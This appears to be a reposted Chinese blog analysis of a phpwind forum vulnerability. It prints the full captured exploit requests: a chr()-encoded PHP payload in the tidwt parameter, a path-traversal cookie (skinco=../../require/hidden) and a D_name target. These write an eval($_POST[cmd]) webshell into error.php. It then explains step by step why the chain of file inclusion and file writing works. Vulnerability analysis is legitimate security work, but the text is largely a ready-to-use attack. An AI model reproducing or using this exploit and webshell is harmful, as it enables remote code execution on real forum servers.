PW又出漏洞了:
案列:
http://www.phpwind.net/read-htm-tid-391918.html
http://www.phpwind.net/read-htm-tid-391955.html
http://www.phpwind.net/read-htm-tid-391918.html
同时转篇文章:分析phpwind漏洞
怎么说呢,这个漏洞是pinkeyes发现的,本文旨在分析这个漏洞的思路。直到发现这个漏洞是怎么产生的,我还在冒虚汗中,同时pinkeyes 的睿智深深的打动了我,原来我才明白什么才是真正的技术含量。且听我慢慢道来:
在程序运行时,我抓了一个包:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=< ?fputs(fopen
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
GET /phpwind//attachment/set.php HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Chr()里的那些东西我查了一下ascii字符表,得到的是这样的:
< ?fputs(fopen(./error.php,w) eval($_post[cmd]);?>?>
很显然是在error.php里写入一行php木马:< ? eval($_post[cmd]);?> 。
所以关键是:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要!于是我下了一个phpwind 的程序看看,开始以为是job.php有问题。进入job.php中,只发现如下代码:
elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}
好,在失望的同时也发现了$skin一定有问题,job.php文件头有个:require_once("./global.php");
接着我们来看看global.php里面的$skin参数吧:
if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime< $db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest';
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}
哦,只要我们定义了$skinco就可以满足$skin了!所以再找找$skinco吧,$skinco只有一处解释,其后,并没有做任何过滤:
if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈,好轻松,只要存在就可以?这样只要构造一个cookie就完全可以实现。咦?$skinco我们好象哪里见过。果然,就是上面抓的包里面的:
Cookie:skinco=../../require/hidden;
这样就更加证明我的思路是正确的,风回路转呀。又不得不佩服这样精彩的手法,按照pinkeyes的思路:构造后应该是这样的:
data/style/../../require/hidden.php
也就是./require/hidden.php。
这样也就是满足了job.php中的
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到这里,先告一段落,我们回个头想想。我们分析这么多就是pinkeyes要为了包含一个文件:./require/hidden.php。这就奇怪了,为什么这么pinkeyes要千方百计的来包含 ./require/hidden.php呢?直接利用不可以吗?这个hidden.php到底是个什么样的文件呢?恩,下面的解释会让你有一个满意的答案。
我小心翼翼的打开hidden.php
!function_exists('readover') && exit('Forbidden');
$newonline="<>\t$timestamp\t$onlineip\t$fidwt\t$tidwt\t$groupid\t$wherebbsyou\t$acttime\t$uid\t$windid\t";
$newonline=str_pad($newonline,$db_olsize)."\n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"\t".$windid."\t")){
$inselectfile='N';
$offset=strpos($onlineuser,"\n",$offset-$db_olsize);$offset+=1;/*会员名不在开始需要转换指针*/
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."\n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>
看到这里,所有的疑团都解开了!
1.原来文件头多了个
!function_exists('readover') && exit('Forbidden');
这样直接访问是不允许的,后面的代码也不会执行,这样我明白pinkeyes的苦心多走弯路来努力用include来包含这个文件
2 这个文件里有writeline()是可以写入木马的。$newonline正好也定义了$tidwt,所以最后的writeline()把$tidwt也写进去了。
写入到了d_name 所定义的set.php这个临时文件里。本来这样就可以写入一个小木马了,只要使$tidwt为编码:< ? eval($_post[cmd]);?>就可以的。但是可能是pinkeyes考虑到set.php里的东西比较乱。所以煞费苦心的用
< ?fputs(fopen(./error.php,w) eval($_post[cmd]);?>?>
写入一个更简单的木马到error.php里!这样才多了我们抓的第二个包:
GET /phpwind//attachment/set.php HTTP/1.1
。。。。。。。。。
转来地址:Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1540083